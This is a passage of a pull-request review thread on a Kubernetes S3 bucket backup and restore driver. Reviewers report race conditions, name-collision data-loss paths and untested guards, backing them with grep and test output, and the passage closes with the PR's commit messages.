Scope: 4108 lines over 40 files is past what one round holds honestly, so I reviewed the destructive paths and read the rest. Split into the mirror package, the API and chart wiring, and the driver, all of it would get reviewed.
Findings
- [CRITICAL]
internal/backupcontroller/bucketstrategy_controller.go:1013, the cleanup-vs-restore race is closed in one direction only - [MAJOR]
internal/backupcontroller/bucketstrategy_controller.go:671, nothing pins the line that enables deletion - [MINOR]
internal/backupcontroller/bucketstrategy_controller.go:865, insecureSkipVerify is dropped when a CA ref is also set - [MAJOR]
packages/system/backupstrategy-controller/templates/backupclass-default.yaml:62, the repo bucket is itself a routedBucket, and nothing refuses source == destination - [MAJOR]
internal/backupcontroller/bucketstrategy_controller.go:333, accessGranted is still treated as proof the credential already works (open from an earlier round) - [MAJOR]
internal/backupcontroller/bucketstrategy_controller.go:377, a failed backup still leaves an unreclaimable partial copy (open from an earlier round) - [MINOR]
internal/s3mirror/s3mirror.go:108,--allow-empty-sourcestill has no producer (open from an earlier round)
Still open from my earlier rounds
Three items reproduce unchanged at this head; each is commented inline with its evidence.
- [MAJOR]
bucketstrategy_controller.go:333/:660,accessGrantedis still trusted as proof the credential works, which your own preflight script says it is not.
$ grep -n 'AccessGranted' internal/backupcontroller/bucketstrategy_controller.go
333: if !access.Status.AccessGranted {
660: if !access.Status.AccessGranted {
- [MAJOR]
bucketstrategy_controller.go:377, a failed backup still leaves a partial copy nothing can reclaim: theBackupartifact cleanup keys off is created only on the success branch.
$ grep -n 'createBucketBackupArtifact' internal/backupcontroller/bucketstrategy_controller.go
358: artifact, err := r.createBucketBackupArtifact(ctx, j, resolved, *rendered, claim.Status.BucketName, repoPrefix)
- [MINOR]
s3mirror.go:108,--allow-empty-sourcestill has no producer in the controller, the API or the chart.
Claim mismatches
[PARTIAL] "Verified end-to-end ... honest data-integrity round-trip": the harness asserts restored bytes, never a deletion, so the destructive half is unexercised; both E2E checks are still pending here.
Caveats
- The red check is
Require API owner review for sizeable API changes, stepCheck for an API owner approval: it saw a new resource and wants lllamnyp or kvaps. Governance, not code. - Upgrade not replayed: the CRD-established gate renders and a unit test pins it, but SSA and admission are render-blind. Worth a
cozystack-pr-testpass. - Unresolved: whether an object-lock bucket (
locking: true) survives an in-place restore, givendeleteUnseenissues RemoveObject; and whether two BackupJobs can share a name, merging two backups into one prefix. - Stale prose:
values.yaml:177-184still scopesendpointCASecretNameto Redis, andcleanup.sh:15denies the ownerRefreconcileBucketAccesssets.
| // purge removing a key before the listing reaches it drops that key from the | ||
| // set, so deleteUnseen then wipes the live copy too. Wait for the restore to | ||
| // reach a terminal phase before reclaiming. | ||
| if active, aerr := r.restoreJobActiveForBackup(ctx, backup); aerr != nil { |
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[CRITICAL] the cleanup-vs-restore race is closed in one direction only
cleanupBucketBackup holds the purge while a RestoreJob is non-terminal, and the comment above this line names the data loss that prevents. The restore side has no mirror of it: reconcileBucketRestore never reads backup.DeletionTimestamp, and backupFinalizer keeps the Backup readable for the whole purge (backup_controller.go:61-80). A retention prune starts the purge Job; a restore of that Backup then lists a prefix being emptied underneath it. A partial purge does not trip the empty-snapshot refusal, because a surviving object matching by ETag counts as skipped rather than copied.
$ grep -n 'DeletionTimestamp' internal/backupcontroller/restorejob_controller.go internal/backupcontroller/bucketstrategy_controller.go
restorejob_controller.go:75: if !restoreJob.DeletionTimestamp.IsZero() {
bucketstrategy_controller.go:1069: if !job.DeletionTimestamp.IsZero() {
$ grep -n 'restoreJobActiveForBackup' internal/backupcontroller/bucketstrategy_controller.go | head -1
1013: if active, aerr := r.restoreJobActiveForBackup(ctx, backup); aerr != nil {
The only DeletionTimestamp reads on the restore side are the RestoreJob's own and the mirror Job's; the Backup's is never consulted, while the purge side does hold at :1013. So the hold exists in one direction with no counterpart in the other, and the restore reports Succeeded having deleted live objects. Refuse a restore against a Backup carrying a DeletionTimestamp, and add a mirror_test.go case whose source lists fewer objects than the destination holds.
| name: cozy-default-mongodb | ||
| - application: | ||
| apiGroup: apps.cozystack.io | ||
| kind: Bucket |
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[MAJOR] the repo bucket is itself a routed Bucket, and nothing refuses source == destination
The chart creates the platform repo bucket as an ordinary application, and this PR's new route binds every Bucket to the bucket strategy, the repo bucket included:
$ grep -n 'kind:\|name:' packages/system/backupstrategy-controller/templates/bucket.yaml | head -4
3:kind: Bucket
5: name: {{ .Values.backupStorage.bucketName }}
$ sed -n '60,66p' packages/system/backupstrategy-controller/templates/backupclass-default.yaml
- apiGroup: apps.cozystack.io
kind: Bucket
$ grep -n 'Destination.Bucket' internal/backupcontroller/bucketstrategy_controller.go
504: RepoBucket: rendered.Destination.Bucket,
The only place the destination bucket name is read is the snapshot; it is never compared with the claim the source resolves to. So a BackupJob for the cozy-backups application mirrors the entire shared repo, every tenant's backups, into a prefix inside that same bucket. One run at least doubles the bucket; a Plan on it grows geometrically, each run copying the previous runs' copies. A "back up everything" Plan in tenant-root reaches it without anyone intending to.
One comparison closes it: fail the BackupJob when the resolved source bucket equals rendered.Destination.Bucket.
| if err != nil { | ||
| return r.markBackupJobFailed(ctx, j, fmt.Sprintf("failed to provision source BucketAccess: %v", err)) | ||
| } | ||
| if !access.Status.AccessGranted { |
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[MAJOR] accessGranted is still treated as proof the credential already works (open from an earlier round)
Both the backup path here and the restore path at :660 gate on access.Status.AccessGranted alone, with no independent probe:
$ grep -n 'AccessGranted' internal/backupcontroller/bucketstrategy_controller.go
333: if !access.Status.AccessGranted {
660: if !access.Status.AccessGranted {
$ head -4 hack/e2e-chainsaw/_lib/backup-access-preflight.sh
#!/bin/sh
# E2E-only proof that a freshly granted COSI BucketAccess is already usable by
# the S3 server. accessGranted describes the COSI object state; it does not
# prove that the backing server has reloaded the new IAM identity.
The mitigation therefore lives in the e2e tooling and not in the driver, which is where a real tenant meets it.
| } | ||
| return ctrl.Result{}, nil | ||
|
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| case batchv1.JobFailed: |
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[MAJOR] a failed backup still leaves an unreclaimable partial copy (open from an earlier round)
The JobFailed branch calls markBackupJobFailed and nothing else, while the Backup artifact that cleanup keys off is created only on the JobComplete side:
$ sed -n '354,382p' internal/backupcontroller/bucketstrategy_controller.go
case batchv1.JobComplete:
...
artifact, err := r.createBucketBackupArtifact(ctx, j, resolved, *rendered, claim.Status.BucketName, repoPrefix)
...
case batchv1.JobFailed:
message := jobFailureMessage(batchJob)
if message == "" {
message = "S3 mirror Job reported Failed"
}
return r.markBackupJobFailed(ctx, j, message)
So a backup that dies at its deadline or exhausts its backoff leaves objects in the shared platform bucket that no finalizer path can ever reach.
| caFile := fs.String("ca-file", "", "PEM CA bundle to trust") | ||
| serverSide := fs.Bool("server-side", false, "attempt server-side CopyObject before streaming") | ||
| deleteExtraneous := fs.Bool("delete-extraneous", false, "delete destination objects absent from the source (restore mirror)") | ||
| allowEmptySource := fs.Bool("allow-empty-source", false, "permit a restore whose source lists zero objects (which would wipe or empty the destination)") |
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[MINOR] --allow-empty-source still has no producer (open from an earlier round)
No CRD field maps to the flag and buildBucketMirrorPod never emits it:
$ grep -rn 'allow-empty-source\|AllowEmptySource' internal/backupcontroller/ api/ packages/ ; echo "exit=$?"
exit=1
The guard itself now has a test, which closes the other half of this finding, but an operator restoring a legitimately empty snapshot still has no way to reach the documented override.
Aleksei Sviridkin (lexfrei)
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NOT LGTM
An in-place restore can still delete live objects. The tip commit closes the ordering where the purge starts first, and opens the one where the restore starts first, which 879c6ed19 had covered.
My activeDeadlineSeconds blocker is gone: buildJobStrategyBatchJob is back to what main has, git diff origin/main...b4cc64a99 -- internal/backupcontroller/jobstrategy_controller.go is empty.
Blockers
1. A running in-place restore loses the purge hold when its Backup is deleted
internal/backupcontroller/bucketstrategy_controller.go:649
Purge first, restore second is fine now. :649 refuses the restore while the Backup has a deletionTimestamp, and the first reconcile only stamps StartedAt and requeues (:666-683), so the check runs again before any mirror Job exists. Only informer lag is left there.
Restore first, purge second is broken. The running RestoreJob requeues every 5s and hits :649 on the next pass. markRestoreJobFailed sets phase Failed and leaves the mirror Job it owns running. restoreJobActiveForBackup (:1184) skips Failed RestoreJobs, so the hold at :1101 releases and the next cleanup pass creates the purge Job next to the live mirror.
I checked it with the fake client in a scratch test (removed after): Backup with a deletionTimestamp, Running RestoreJob, active mirror Job controlled by it.
before restore reconcile: purge held = true (err <nil>)
after restore reconcile: RestoreJob phase = "Failed"; mirror Job present = true, active = 1
after restore reconcile: purge held = false (err <nil>)
cleanup reconcile: res={Requeue:false RequeueAfter:5s Priority:<nil>} err=<nil>; purge Job created = true, args=[s3-mirror --mode=delete --repo-endpoint=http://s3 --repo-bucket=cozy-backups --repo-prefix=tenant-x/web/bk1/]
After that it is exactly the case the :1096 comment describes: keys purged before the restore listing reaches them never get into seen, and deleteUnseen removes the live copies. The empty-snapshot refusal does not fire while at least one key survives.
Refuse at :649 only while the mirror Job does not exist yet; once it exists, keep polling it to a terminal state. Deleting the RestoreJob mid-run drops the hold too, before garbage collection has stopped the mirror Pod, so holding the purge while a restore mirror Job for this Backup has active Pods would cover both.
2. Reclaim after a failed backup can wipe an older Backup that still says Ready
:423-453, :596-627
The prefix is <namespace>/<app>/<backupjob-name>/ (:360), and the Backup has no ownerRef to its BackupJob, so it stays after the BackupJob is deleted. A new ad-hoc BackupJob for the same app can take the old name (Plan names are <plan>-<minute>, those don't collide), and its mirror writes into the old backup's prefix. That also answers the open question about two BackupJobs with one name.
On success createBucketBackupArtifact gets AlreadyExists and returns the old Backup (:618-627), so the BackupJob points at a snapshot mixed from two runs.
On failure reclaimFailedBucketBackup purges that prefix, which is the old Backup's data, and the old Backup stays Ready. After a full purge a restore fails on the empty-snapshot check, so the backup is lost while its status says otherwise. If the reclaim Job fails partway, the prefix keeps a subset, and an in-place restore from that Backup deletes every live object outside it.
Fail the BackupJob before mirroring when a Backup with its name already exists, or make the prefix unique, the BackupJob UID for example.
3. The delete decision and the new guards have no tests
One mutation at a time, go test ./internal/backupcontroller/ ./internal/s3mirror/:
:781 pass `inPlace && false` green
:781 pass `inPlace || true` green
:208 == -> != in isInPlaceBucketRestore red: TestIsInPlaceBucketRestore
:895 if !deleteExtraneous red: TestBuildBucketMirrorPod
:1103 purge hold disabled green
:1198 restoreJobActiveForBackup default returns false green
:649 restore-side refusal disabled green
:346 == -> != green
:410 reclaim call removed green
:780 annotation check == -> != green
The extracted isInPlaceBucketRestore pins only the predicate. Flipping the value passed at :781 either way stays green, so "a mutation of in-place vs to-copy no longer passes green" in the tip commit body is not true. The :346 flip is the worst one: every normal BackupJob fails, only the repo bucket gets backed up, and no test notices.
The Altinity tests already have the dynamic fake and mockRESTMapper that getApplicationUnstructured needs, and TestCleanupBucketBackupRefusesUnrelatedJob has the cleanup side. Three tests would cover the table: reconcileBucketRestore for an in-place and a to-copy target with the Job args checked, reconcileBucket with source == destination, and the purge hold with a running restore. The last one also pins the fix for blocker 1.
4. timeoutSeconds is ignored on restore
:770-776 builds restoreTemplate from the live strategy's image, endpoint override and resources, but not TimeoutSeconds, so every restore gets the two-hour constant (:957-960). bucket_types.go:110-113 and values.yaml:89-93 tell the admin to raise it when a bucket can't be "backed up or restored" in time. After raising it, backups get the new budget and restores still stop at two hours. Copy rendered.TimeoutSeconds next to Resources.
Open items from the other review
- source == destination is closed in the controller.
:346compares the source claim'sstatus.bucketNamewithdestination.bucket, and for the platform bucket the chart's lookup path renders that field from the same claim'sstatus.bucketName(_helpers.tpl:59-61), so the match is exact. The BackupJob fails at reconcile time; the BackupClass still routes the repo bucket, so a Plan on it just produces Failed BackupJobs, which is fine. No test, see blocker 3. - I don't hold the
accessGrantedone. The mirror has its own probe:s3mirror.go:225retries a listing on the application bucket for up to 90s (:252-271). What's left: it's a read, so for a restore it shows the identity is loaded, not that writes work. The e2e preflight does PUT, GET and DELETE. - Partial copy on failure is closed for
JobFailedby:410, apart from blocker 2. One path is left: the mirror completes,createBucketBackupArtifactfails with anything other than AlreadyExists (:381-384), and the BackupJob goes Failed with a full copy and no reclaim. Requeue on a transient error there. insecureSkipVerifywith a CA ref is fixed in the controller (:938-955) andTestBuildBucketMirrorPodTLSKnobsIndependentholds it, but only one way:if dest.TLS.InsecureSkipVerify || truestays green. That's the direction that silently turns verification off, so a CA-only case that asserts no--insecureis worth adding.--allow-empty-sourcehas a producer now, thebackups.cozystack.io/allow-empty-sourceannotation on a RestoreJob (:780). Nothing outside the Go code mentions it and nothing tests it.
Non-blocking
s3mirror.go:138,:198,:203: one transport still serves both clients, so--insecurefor the repo side also turns off verification for the application endpoint. It's a different bug from the CA-ref one: there the controller dropped the flag, here the mirror applies it to both sides.s3mirror.go:239-241: the empty-backup warning still goes only to the Job's stderr, and the Backup is still Ready.s3mirror.go:381-387: the resume skip compares ETags only, so an object with the same bytes but a different Content-Type or user metadata keeps the live headers after restore.90-scenario.md:7says content type is restored.- Object lock (
locking: true):deleteUnseencallsRemoveObjectwithout a version ID (s3mirror.go:547-549). By the S3 Object Lock docs a simple DELETE on a locked bucket returns 200 and adds a delete marker, the lock doesn't block that. So an in-place restore reports success and hides extra objects behind delete markers, and the locked versions stay recoverable by version ID. I didn't check that SeaweedFS does the same, so this holds only if it follows S3 here. The scenario doc should say what in-place restore does to a locking bucket. - Both stale-prose spots are fixed:
values.yamlcovers the optional CA mount of the Bucket mirror, andcleanup.shmatches the ownerRefreconcileBucketAccesssets.
PR body
The body becomes the merge commit message here. "an honest data-integrity round-trip ... for both in-place and to-copy restores" holds for the bytes only. Deletion is never checked: run-all.sh:64-66 removes the sentinel and restores it, and nothing is written after the backup, so no check shows that an in-place restore removes anything. Add such an object and assert it's gone, or narrow the sentence. The body also misses behaviour the branch has now: purge on Backup deletion, reclaim after a failed backup, the self-backup refusal, and the allow-empty-source annotation.
CI and scope
E2E (in-tree) is still running on this head. The last run that finished without being cancelled (8f9668fa7) was red on four suites, bucket-backup-roundtrip among them; I didn't dig into why. The red Require API owner review for sizeable API changes wants an API owner approval for the new resource; nothing in the code to fix there.
Read line by line: bucketstrategy_controller.go, s3mirror.go, the three test files, the Backup/RestoreJob dispatch changes, the shipped strategy, BackupClass, values and the bucket name helper, the example scripts and the Chainsaw test. Only skimmed: API types and CRD, buckettypes, RBAC, rendering_test.yaml, the TIA selector changes. Not checked: the round-trip on a live cluster, SeaweedFS behaviour for object lock and for the NUL-prefixed preflight listing, the upgrade path.
IvanHunters
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Verdict
NOT LGTM
4593 lines over 40 files is past what one round can honestly certify. I covered what can destroy data, the driver and the S3 mirror, and I say below what I did not read.
Please split it. The seams are already in the file list: generated artifacts plus the CRD schema (~890 lines); internal/s3mirror/** (~900 lines), which has no cozystack dependency and holds the code that deletes objects; then driver, chart, examples, e2e.
Findings
[MAJOR] internal/backupcontroller/bucketstrategy_controller.go:634, the UID-scoped prefix moved the name collision rather than closing it
f442e393a scopes each run's repo prefix by BackupJob UID (:370), so a reused name can no longer write into a live Backup's objects. The Backup artifact is still named j.Name (:634), and on AlreadyExists it Gets that object and returns it without checking it belongs to this run. Backups carry no ownerRef to their BackupJob, so they outlive it:
$ grep -n 'SetControllerReference' internal/backupcontroller/bucketstrategy_controller.go
461: if err := controllerutil.SetControllerReference(j, desired, r.Scheme); err != nil {
1159: if cerr := controllerutil.SetControllerReference(backup, desired, r.Scheme); cerr != nil {
$ grep -c 'AlreadyExists' internal/backupcontroller/bucketstrategy_controller_test.go
0
461 owns the reclaim Job and 1159 the cleanup Job; neither is the Backup.
BackupJob manual-1 leaves Backup manual-1 pointing at manual-1-OLDUID/. Delete the BackupJob, re-apply one with the same name: the mirror writes a full fresh copy under manual-1-NEWUID/, the artifact write hits AlreadyExists, and the run reports Succeeded against the OLD snapshot. The fresh copy is named by nothing and cleanup keys off the old prefix, so it sits in the shared cozy-backups bucket forever while a restore from that "fresh" backup returns stale data. Fail the BackupJob when a Backup of that name exists, or scope the artifact name the way the prefix now is.
[MAJOR] internal/s3mirror/s3mirror.go:424, nothing pins the merge half of the restore contract
deleteExtraneous is the single switch between a to-copy restore merging the snapshot in and an in-place restore wiping whatever the snapshot does not name (bucketstrategy_controller.go:767-770). The controller side is held: forcing isInPlaceBucketRestore true reddens TestReconcileBucketRestoreInPlaceVsToCopyJobArgs. The library side is not, because the only non-erroring deleteExtraneous=false case seeds an empty destination.
# line 424: replace `if deleteExtraneous {` with `if true {`
$ go test ./internal/s3mirror/ -count=1
ok github.com/cozystack/cozystack/internal/s3mirror 0.416s
Seed the target with an object the snapshot does not name and assert it survives.
[MAJOR] internal/backupcontroller/bucketstrategy_controller.go:398, a failed artifact write is invisible and unbounded
The mirror has already copied the whole bucket. When createBucketBackupArtifact fails, the branch logs at V(1) and requeues every 5s with no condition, no Event and no deadline, and the Deployment runs at --zap-log-level=info (deployment.yaml:33-37) so V(1) is dropped. A Create the apiserver keeps rejecting leaves the BackupJob Running on a stale condition with no operator signal. strategyNotReadyDeadlineExceeded bounds the two requeue*BucketWaiting helpers (:476, :878); line 398 calls neither.
[MINOR] :462, both exits of reclaimFailedBucketBackup are logger.Debug, so a reclaim Job that cannot be created leaves a partial copy behind silently. releaseBucketCleanup:1248 emits Warning ArtifactNotDeleted for the same outcome; use the recorder here too.
Caveats
- The red
Require API owner review for sizeable API changesis a governance gate, not a code defect: it reportsNew resource strategy.backups.cozystack.io/Bucketwith no approving review fromlllamnyporkvaps. It still blocks merge. locking: truegives a-lockclass with COMPLIANCE retention (packages/extra/seaweedfs/templates/storage-pool-bucket-classes.yaml:28-35) and the default BackupClass routes those apps here. An in-place restore callsRemoveObjecton live objects the snapshot lacks; if SeaweedFS honours the retention it can never finish. Not executed, no oracle here.- Not read: the CRD schema against the Go types,
examples/backups/bucket/**, the chainsaw suite. No upgrade replay.
Add a strategy.backups.cozystack.io/Bucket driver that backs up the apps.cozystack.io/Bucket application (SeaweedFS S3 via COSI). The engine has no operator-native Backup CRD and a logical bucket is not a CSI volume, so backup is an S3-to-S3 object copy: each BackupJob provisions a read-only COSI BucketAccess on the source, runs a one-shot mirror Job, and writes the objects to the cozy-backups bucket under a per-backup prefix; each RestoreJob mirrors that prefix back in-place or into a differently-named target, re-pointing at the target's own credentials on to-copy. PITR is not applicable (discrete snapshots, no continuous log). The mirror runs the controller binary's new s3-mirror subcommand built on the minio-go SDK (Apache-2.0), so the whole stack stays off the AGPL mc client and the Job reuses the controller image. It streams client-side by default and can attempt a same-endpoint server-side CopyObject. - api/backups/strategy/v1alpha1: Bucket + BucketTemplate types, CRD. - internal/backupcontroller: bucketstrategy_controller (backup + restore), buckettypes (COSI partials) and bucketapp scheme handles, dispatch wiring, unit tests for the pure helpers. - internal/s3mirror: the minio-go mirror + its unit tests. - backupstrategy-controller chart: cozy-default-bucket strategy (gated on the resolved bucket name), the cozy-default BackupClass binding, and RBAC for objectstorage.k8s.io bucketclaims/bucketaccesses. - examples/backups/bucket + hack/e2e-chainsaw/bucket-backup: an honest data-integrity round-trip driven from run-all.sh. The bucket application chart is left untouched. Assisted-By: LLM Signed-off-by: Andrey Kolkov <[email protected]>
…he live bucket An in-place Bucket restore ran the mirror with --delete-extraneous unconditionally, and the only precondition was that the snapshot's repo prefix was a non-empty string. A prefix that lists zero objects is a normal, non-error result, so a snapshot whose objects were pruned/expired (or a source empty at backup time) made the mirror copy nothing and then delete every object in the live target bucket while reporting success. - s3mirror: fail closed when --delete-extraneous would purge a destination from a source that listed zero objects; add --allow-empty-source to opt in. - restore: apply --delete-extraneous only for an in-place restore; a restore-as-copy into a different app now merges without deleting objects the copy target already holds. - s3mirror: preserve object metadata (Content-Type, Content-Encoding, Cache-Control, x-amz-meta-*) across a streamed copy instead of rewriting every restored object as application/octet-stream. - s3mirror: introduce an objectStore seam and unit-test the copy/purge logic (extraneous removed, zero-object source does not wipe, metadata round-trips). - rbac: drop the unused update/delete verbs on bucketaccesses (the driver server-side-applies and never deletes them). Assisted-By: LLM Signed-off-by: Andrey Kolkov <[email protected]>
…and access-safety gaps - snapshot: persist the secret-key Secret name and the CA selector separately, so a restore of a backup that used distinct credential Secrets or a private CA rebuilds the exact repo connection; older snapshots fall back to the single Secret and no CA. - access: reuse a persistent BucketAccess only when it carries the driver's managed-by label AND its spec matches; refuse a same-named object owned by someone else, and re-apply an owned-but-drifted one (shared reconcileBucketAccess for both reconcilers). - strategy: gate the default Bucket Strategy on the Bucket CRD being Established, not just a resolved bucket name, so shipping the kind to an installed chart cannot wedge the whole release; add the upgrade-case rendering test. - strategy: render the repo endpoint with its scheme, so an http:// SeaweedFS is not silently treated as HTTPS by the mirror. - s3-mirror: reject an empty --repo-prefix in restore mode; an empty prefix would mirror the entire repo bucket into the application bucket. - examples: delete the in-place restore BucketAccess in cleanup.sh. - e2e: raise the chainsaw run timeout to 60m to clear the serial-wait budget. Assisted-By: LLM Signed-off-by: Andrey Kolkov <[email protected]>
…ror Job, wire its e2e - e2e wiring: the backup round-trip lived in hack/e2e-chainsaw/bucket-backup/, which no Test Impact Analysis rule selected, so a scoped edit to the harness ran the bucket app-create suite instead and the round-trip never ran under TIA. Route examples/backups/<app>/ to an "<app>-backup" suite when one exists (select-e2e.sh), map bucket-backup to the bucket-application source in both mapping tables so it round-trips (select-install.sh + src_to_suites), and pin it with a bats case. - reclaim on delete: deleting a Backup left its mirrored objects orphaned in cozy-backups. Add an `s3-mirror --mode=delete` that purges a repo prefix, a cleanupBucketBackup finalizer branch that runs it as a one-shot Job and waits (failing open on a terminating namespace / missing strategy / unprojectable credentials, with the skip-artifact-cleanup escape hatch), mirroring Redis. A same-named Job is acted on only when this Backup controls it and it carries the cleanup mode label, on both the guarded and the skip-annotation paths. - mirror Job deadline: the mirror Pod set no activeDeadlineSeconds, so a wedged copy ran forever. Set a Pod-level deadline on the mirror pod; the pod deadline plus backoffLimit caps the whole run at a finite multiple. - empty-source restore: a restore-as-copy whose source lists zero objects fails rather than reporting success having restored nothing; a backup that copies nothing warns; --delete-extraneous requires a --repo-prefix to scope it. - TLS: --ca-file appends to the system roots instead of replacing them, so the one transport serving both endpoints does not strip public trust from the side that relies on it. - tests: cover buildBucketMirrorPod (args, delete flag, deadline, env), the cleanup-Job ownership guard, the shipped per-tenant prefix, and the s3-mirror purge; docs: the in-place restore note no longer claims byte-for-byte. Assisted-By: LLM Signed-off-by: Andrey Kolkov <[email protected]>
…LS and resumability - access lifecycle: owner-reference the mirror's BucketAccess to the app's BucketClaim so garbage collection reaps it when the app is deleted, instead of leaking a Terminating orphan whose stale credentials a same-named app reuses. - concurrent delete: refuse to reclaim a Backup's repo objects while a non-terminal RestoreJob still references it, so a delete-during-restore cannot drop keys from the restore's keep-set and wipe the live objects too. - TLS: render the platform backupStorage endpointCASecretName / insecureSkipTLSVerify into the shipped strategy's destination.tls, mounting the CA optionally and falling through to the system trust store when absent, so an external private-CA S3 works the way the sibling strategies already do. - resumability: the mirror skips an object already at the destination with the same content (ETag), so a retried attempt resumes rather than restarting from zero, while an in-place object modified at the same byte size is still re-copied; timeoutSeconds is now a BucketTemplate field (chart value) so a large bucket is not capped at a fixed two-hour ceiling. - credential propagation: the mirror preflights the application bucket with a bounded retry, so the first BackupJob does not fail on a freshly granted BucketAccess the S3 server has not reloaded yet. - hardening: the mirror and cleanup containers run with a restricted securityContext, and the shipped strategy sets resources so a large backup does not OOM against the tenant LimitRange defaults. - drop the unused bucketapp typed package (the driver reads the app unstructured); add tests for the delete-extraneous prefix guard, the ownerRef reuse and mirror resume. Assisted-By: LLM Signed-off-by: Andrey Kolkov <[email protected]>
…po self-backup - cleanup vs restore: refuse a restore whose Backup carries a DeletionTimestamp. cleanupBucketBackup already holds the purge while a RestoreJob is non-terminal; this adds the missing counterpart so a restore cannot list a repo prefix that a concurrent purge is emptying and then deleteUnseen the live objects. - self-backup: fail a BackupJob whose resolved source bucket equals the repo destination bucket. The platform cozy-backups bucket is itself a routed apps.cozystack.io/Bucket, so a BackupJob for it would mirror the whole shared repo into a prefix inside the same bucket, doubling it each run. - pin the destructive decision: extract isInPlaceBucketRestore (the single line that turns delete-extraneous on) and unit-test both branches, so a mutation of in-place vs to-copy no longer passes green. - reclaim on backup failure: a mirror that dies partway leaves a partial copy under its repo prefix that no Backup-keyed cleanup can reach, so a failed BackupJob now best-effort runs an s3-mirror --mode=delete Job over its own prefix, owner-referenced to the BackupJob. - TLS knobs composable: emit both --ca-file and --insecure when a private CA and an explicit verify opt-out are both set, rather than dropping the opt-out. - --allow-empty-source producer: a backups.cozystack.io/allow-empty-source annotation on a RestoreJob threads the flag through, so a legitimately empty snapshot has a supported in-place restore override. - docs: endpointCASecretName and cleanup.sh prose match the Bucket driver's optional CA mount and the BucketAccess ownerRef. Assisted-By: LLM Signed-off-by: Andrey Kolkov <[email protected]>
…claim during restore Scope each backup's repo prefix by the BackupJob UID, not just its name: an ad-hoc BackupJob can reuse a deleted one's name, and a name-only prefix would let a new run write into (and its failure-reclaim purge) a still-Ready Backup's objects. Label restore mirror Jobs with the Backup name and hold the reclaim purge while any such Job still has active Pods, so cleanup never purges next to a live restore even after its RestoreJob has gone terminal. Refuse to start a restore from a Backup under deletion only when its mirror Job does not yet exist; an already-running mirror runs to a terminal state instead. Propagate the configured timeout into the restore mirror template, and requeue rather than fail when the post-mirror Backup artifact write hits a transient error, so the completed copy is not stranded without an artifact for cleanup to key off. Add reconcile-level tests driving reconcileBucket for a source that is the repo bucket and reconcileBucketRestore for in-place and to-copy targets, asserting the self-backup refusal and the delete-extraneous purge decision off the created Job. Assisted-By: LLM Signed-off-by: Andrey Kolkov <[email protected]>
… bound artifact-write retries A Backup carries no ownerRef to its BackupJob and outlives it, so a BackupJob whose name is reused after the old one was deleted finds a stale same-named Backup pointing at the previous run's UID-scoped prefix. The mirror has already written a fresh copy under this run's prefix; returning the stale artifact reported Succeeded against the old snapshot and left the fresh copy unreferenced in the shared repo bucket, so a restore returned stale data. Compare the existing Backup's repo prefix to this run's on AlreadyExists and fail the BackupJob when they differ; a matching prefix is still a genuine idempotent retry. Bound the transient artifact-write retry by the same deadline as the bucket wait helpers and surface it through a Ready=False condition and a Warning Event, so a Create the apiserver keeps rejecting no longer sits Running indefinitely behind a log line the default level drops. Emit a Warning Event when a partial-backup reclaim Job cannot be started, matching the cleanup path's ArtifactNotDeleted signal instead of logging at debug only. Pin the merge half of the restore contract in s3mirror: a to-copy restore must keep a destination object the snapshot does not name. Add a reconcile test that a stale same-named Backup fails the run. Assisted-By: LLM Signed-off-by: Andrey Kolkov <[email protected]>
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IvanHunters
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Verdict
NOT LGTM
Most of last round is closed. Source == destination, the two TLS knobs that used to cancel each other, the shipped strategy's tls: block and its resources, the --allow-empty-source producer, the merge half of the restore contract, the in-place versus to-copy Job args, the ETag resume, the unused bucketapp package: all fixed, and most of them now have a test that goes red when I break the line it covers. That is real progress.
What's left is narrower, and most of it arrived with the tip commit.
Findings
- [MAJOR]
internal/backupcontroller/bucketstrategy_controller.go:398, the two new terminal exits strand the copy the reclaim was added to collect
- [MAJOR]
internal/backupcontroller/bucketstrategy_controller.go:405, the artifact-write retry budget is already spent by the mirror
- [MAJOR]
internal/s3mirror/s3mirror.go:365, the key set is built in every mode and read in one
- [MAJOR]
packages/system/backupstrategy-controller/tests/rendering_test.yaml:218, almost nothing this PR adds is held by a test
- [MINOR]
internal/backupcontroller/bucketstrategy_controller.go:374, a same-named mirror Job from a previous run is adopted without an ownership check
- [MINOR]
internal/backupcontroller/bucketstrategy_controller.go:493, the new ReclaimNotStarted Event is the only signal for a leaked copy and nothing holds it
Still open from my earlier rounds
- The partial-copy reclaim (filed 15.09) landed, but only on the
JobFailedbranch, and the two new terminal exits walk straight past it. Folded into the first finding rather than repeated here. - The e2e still never asserts a deletion (filed 16.09).
examples/backups/bucket/run-all.sh:64-66removes the sentinel and puts it back, and nothing is written after the backup, so the destructive half of an in-place restore runs unchecked. lexfrei made the same point about the PR body.
Withdrawn
I filed "accessGranted is not proof the credential works" twice, and I'm dropping it. internal/s3mirror/s3mirror.go:225 retries a listing against the application bucket for up to 90 seconds and exits 1 on timeout, which covers the propagation lag I was worried about. The residue is that the probe is a read while a restore writes and deletes, and that sits under the preflight point in the fourth finding, not on its own.
Notes
- The red check on this head is the API-owner gate. Job 105138777235 fails with "needs an approving review from one of: lllamnyp kvaps", which is about the new resource rather than the code.
E2E (in-tree)was still running on 25ef6d4 the whole time I reviewed, so I have no result from it.- Not covered: a live round trip, SeaweedFS under object lock, the upgrade path.
| // resolve it, and this run must not report success against the stale | ||
| // snapshot. | ||
| if errors.Is(err, errBucketArtifactNameCollision) { | ||
| return r.markBackupJobFailed(ctx, j, err.Error()) |
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[MAJOR] the two new terminal exits strand the copy the reclaim was added to collect
The comment four lines down says failing here "would strand it with no Backup for cleanup to key off", and this line and :406 do exactly that. The reclaim has one call site:
$ grep -rn 'r\.reclaimFailedBucketBackup(' internal/
internal/backupcontroller/bucketstrategy_controller.go:447: r.reclaimFailedBucketBackup(ctx, j, *rendered, repoPrefix)
the sibling JobFailed branch. On either new exit the mirror has already completed, so a full copy sits under <prefix>/<job>-<uid>/ in the shared repo bucket with no Backup, and once the BackupJob is deleted nothing left in the cluster knows the prefix. Both exits already hold *rendered and repoPrefix, so the call is available where the return is.
A third path reaches the same place without any error at all. BackupJob carries no finalizer:
$ grep -c Finalizer internal/backupcontroller/backupjob_controller.go
0
$ grep -rn 'Finalizer = ' internal/backupcontroller/*.go
internal/backupcontroller/backup_controller.go:27:const backupFinalizer = "backups.cozystack.io/cleanup"
internal/backupcontroller/backup_controller.go:33:const legacyVeleroBackupFinalizer = "backups.cozystack.io/cleanup-velero"
